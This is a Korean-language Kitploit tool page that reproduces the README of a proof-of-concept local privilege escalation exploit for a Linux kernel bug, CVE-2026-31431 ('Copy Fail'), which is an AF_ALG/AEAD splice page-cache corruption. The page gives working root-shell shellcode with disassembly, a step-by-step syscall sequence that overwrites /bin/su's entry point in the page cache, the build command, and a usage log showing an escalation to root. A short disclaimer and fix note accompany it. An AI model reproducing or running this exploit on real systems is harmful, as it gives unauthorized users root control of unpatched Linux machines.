Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431-CopyFail-static-ELF--POC — 최소 587바이트 정적 ELF 익스플로잇으로, CVE-2026-31431을 대상으로 하며 AF_ALG splice 페이지 캐시 손상을 통해 로컬 권한 상승을 달성합니다. libc 또는 런타임 의존성이 없습니다. | Kitploit
도구/GitHubGitHub/rat5ak/cve-2026-31431-copyfail-static-elf--poc
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubrat5ak/cve-2026-31431-copyfail-static-elf--poc

CVE-2026-31431-CopyFail-static-ELF--POC

최소 587바이트 정적 ELF 익스플로잇으로, CVE-2026-31431을 대상으로 하며 AF_ALG splice 페이지 캐시 손상을 통해 로컬 권한 상승을 달성합니다. libc 또는 런타임 의존성이 없습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
3개월 전아직 검토되지 않음

CVE-2026-31431: Copy Fail - 587바이트 정적 ELF

저는 이 버그를 발견하지 않았습니다. 공로는 Xint Code / Theori에게 있습니다.

이 저장소는 익스플로잇을 가능한 한 작게 만드는 제 방식입니다 - 587바이트로 전체 LPE를 수행하는 수제 x86_64 ELF입니다. libc도, 링커도, 런타임도 없습니다. 그저 NASM과 고집뿐입니다.

실질적으로, 커널은 AF_ALG + splice를 통해 읽기 가능한 파일의 페이지 캐시에 쓰기 프리미티브를 제공합니다. setuid 바이너리의 엔트리 포인트를 겨냥하고, 셸코드를 쓰고, 바이너리를 실행하면 루트입니다.

크기 맥락을 위해: 원래 공개된 Copy Fail 게시물은 732바이트로 측정된 소형 Python 버전을 제공했습니다. 그것은 매우 훌륭하지만, 여전히 Python 런타임이 존재해야 합니다. 더 작은 것은 https://kopy.fail의 524바이트입니다. 그러나 이것은 원시 정적 ELF입니다: 인터프리터도, libc도, 링커도, 동적 로더도 없습니다. (우리 엄마는 이게 멋지다고 하세요)

CVECVE-2026-31431
버그 클래스splice 별칭을 통한 페이지 캐시 손상
근본 원인af_alg_sendpage / AEAD 요청으로의 splice가 페이지 캐시 페이지를 crypto scatter-gather 출력에 별칭 지정
구성 요소crypto/af_alg.c + crypto/algif_aead.c
영향읽기 가능한 모든 파일의 페이지 캐시에 제어된 바이트 쓰기
요구 사항로컬 사용자, 접근 가능한 AF_ALG/AEAD 지원, 읽기 가능한 setuid 대상
익스플로잇587바이트 정적 ELF (x86_64), 단일 파일, 의존성 없음

버그

AF_ALG는 사용자 공간이 소켓을 통해 커널 암호화를 수행할 수 있게 합니다. authencesn과 같은 AEAD 암호의 경우, 커널은 MSG_MORE와 함께 sendmsg를 통해 데이터를 수락한 다음, 파일 디스크립터에서 더 많은 데이터를 splice할 수 있습니다.

저주받은 부분: 파일을 splice하면, 커널은 파일의 페이지 캐시 페이지를 crypto scatter-gather 목록에 직접 고정합니다. AEAD 연산은 그런 다음 출력을 동일한 페이지에 다시 씁니다. 커널은 crypto에 읽기 버퍼를 제공했다고 생각합니다. Crypto는 쓰기 버퍼를 받았다고 생각합니다. 아무도 복사하지 않습니다.

AAD 메타데이터로 제공하는 바이트는 페이지 캐시를 통해 보입니다. 해당 파일의 이후 모든 읽기 - 모든 프로세스, 모든 사용자, suid 실행을 포함하여 - 손상된 데이터를 봅니다. 디스크의 파일은 변경되지 않습니다. 메모리 내 페이지 캐시 보기만 변경됩니다.

명명

Copy Fail은 AF_ALG 옷을 입은 페이지 캐시/COW 계열의 저주입니다. Dirty COW (CVE-2016-5195)와 같은 계보입니다 - "커널이 읽기만 해야 하는 것에 쓰기를 허용했습니다" - 그러나 madvise/write 경쟁 대신 crypto splice 경로를 통해서입니다.

익스플로잇

대상: Debian Bookworm의 /bin/su (kernelCTF rootfs 포함). ELF 엔트리 포인트는 파일 오프셋 0x3910에 있습니다.

28바이트의 셸코드가 루트 셸 드로퍼로 변환합니다:

root@kitploit:~
; setuid(0) - 7 bytes
31 ff           xor edi, edi
6a 69           push 105
58              pop rax
0f 05           syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99              cdq
31 f6           xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00   movabs rbx, "/bin/sh\0"
53              push rbx
54              push rsp
5f              pop rdi
6a 3b           push 59
58              pop rax
0f 05           syscall

AEAD 프리미티브는 연산당 4바이트만 제공합니다 - AAD의 32비트 청크 하나가 splice 오프셋에 도달합니다. 28바이트 셸코드 ÷ 4 = 커널 crypto 스택을 통한 7회 통과입니다. 각 반복:

  1. socket(AF_ALG) + authencesn(hmac(sha1),cbc(aes))로 bind
  2. 키와 인증 태그 크기를 설정하는 setsockopt
  3. 요청 fd를 얻기 위한 accept
  4. MSG_MORE와 함께 sendmsg - 8바이트 iov에는 4바이트 AAD 채움 + 4바이트 셸코드 포함
  5. 파이프를 통해 /bin/su에서 요청 fd로 splice (페이지 캐시 페이지 위치 지정)
  6. recvfrom - AEAD 처리를 트리거, 페이지 캐시 손상
  7. 모든 것 닫기 (중요 - 오래된 AF_ALG 상태는 이후 splice를 손상시킴)

7회 반복 후, execve("/bin/su"). 커널은 손상된 페이지 캐시에서 로드합니다. 실행은 덮어쓴 엔트리 포인트로 점프합니다. 루트 셸.

바이너리

총 587바이트. 그중 120바이트는 ELF 헤더입니다 (커널은 그것 없이는 로드하지 않습니다), 따라서 실제 익스플로잇 로직은 467바이트의 기계어 코드 + 데이터입니다.

ELF 헤더에서 항목이 위치한 곳:

root@kitploit:~
Offset  Field           Actual use
------  -----           ----------
0x00    e_ident[0:8]    magic + ELF class (mandatory)
0x08    e_ident[8:16]   crypto key material (kernel ignores these bytes)
0x28    e_shoff         "/bin/su\0" string (kernel ignores for ET_EXEC)

커널은 e_ident[0:7], e_type, e_machine, e_entry, e_phoff, e_phnum 및 phdr 자체만 봅니다. 다른 모든 것은 자유 공간입니다.

기타 크기 트릭:

  • 단일 RWX PT_LOAD, 88바이트 sockaddr_alg용 BSS (커널이 0으로 초기화)
  • 모든 syscall은 push imm8 / pop rax / syscall로 인코딩 (각 3바이트)
  • 루프 카운터는 r14에서 24→0까지 -4 단계로 감소, 셸코드 인덱스로도 사용
  • syscall 간에 유지되도록 레지스터 선택 (r12=target_fd, r15=alg_fd, rbp=req_fd, rbx=shellcode_base) - 재로드에 바이트 낭비 방지

584→587 이야기

첫 번째 작동 버전은 584바이트였습니다. 두 번째 splice 호출에 mov ax, 275를 사용했습니다 (mov eax, 275보다 2바이트 짧음). 이것은 첫 번째 splice가 항상 성공한다는 도박입니다 - 음수 오류를 반환하면, rax의 상위 48비트가 설정된 상태로 유지되고, mov ax, 275는 하위 16비트만 덮어씁니다. 그러면 두 번째 splice syscall 번호가 쓰레기가 됩니다.

제 테스트 커널에서는 항상 작동했습니다. 그러나 "테스트에서 항상 작동"은 버그를 배포하는 나쁜 이유이며, 메모리 압력 하에서 splice가 EAGAIN을 반환하는 시스템에서 누군가 이 문제를 겪으면, 익스플로잇은 무엇이 잘못되었는지 표시 없이 그냥 세그폴트됩니다. 3바이트를 추가로 사용했습니다.

또한 최종 execve 전에 xor esi, esi를 추가해야 했습니다. recvfrom이 rsi를 버퍼 주소로 덮어쓰기 때문입니다. 그것 없이는, execve가 쓰레기 argv 포인터를 받습니다. 또 다른 1바이트.

빌드

root@kitploit:~
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3

NASM이 필요합니다. 익스플로잇 바이너리를 직접 생성합니다 - 링크 단계 없음.

사용법

root@kitploit:~
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)

1초 미만이 걸립니다. 성공 시 출력 없음 - 그냥 루트 셸입니다.

영향받는 커널

CONFIG_CRYPTO_USER_API_AEAD (내장 또는 로드된 모듈) 및 algif_aead의 수정되지 않은 인플레이스 splice 경로가 필요합니다. 잘못된 코드 경로는 2017년 최적화로 거슬러 올라갑니다. 배포판의 커널 구성과 패치 상태를 확인하세요.

수정

수정은 인플레이스 경로를 제거하고 crypto scatter-gather 목록에 별칭을 지정하는 대신 splice 소스 페이지를 복사합니다. 페이지 캐시 격리가 복원됩니다.

바보가 되지 마세요

이것은 KernelCTF/랩 아티팩트입니다. 소유하거나 명시적 권한이 있는 시스템에서만 실행하세요. Linux 박스를 방어하는 경우, 커널을 패치하거나 AF_ALG/algif_aead 모듈 로딩을 제한하세요.


Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online

도구 다운로드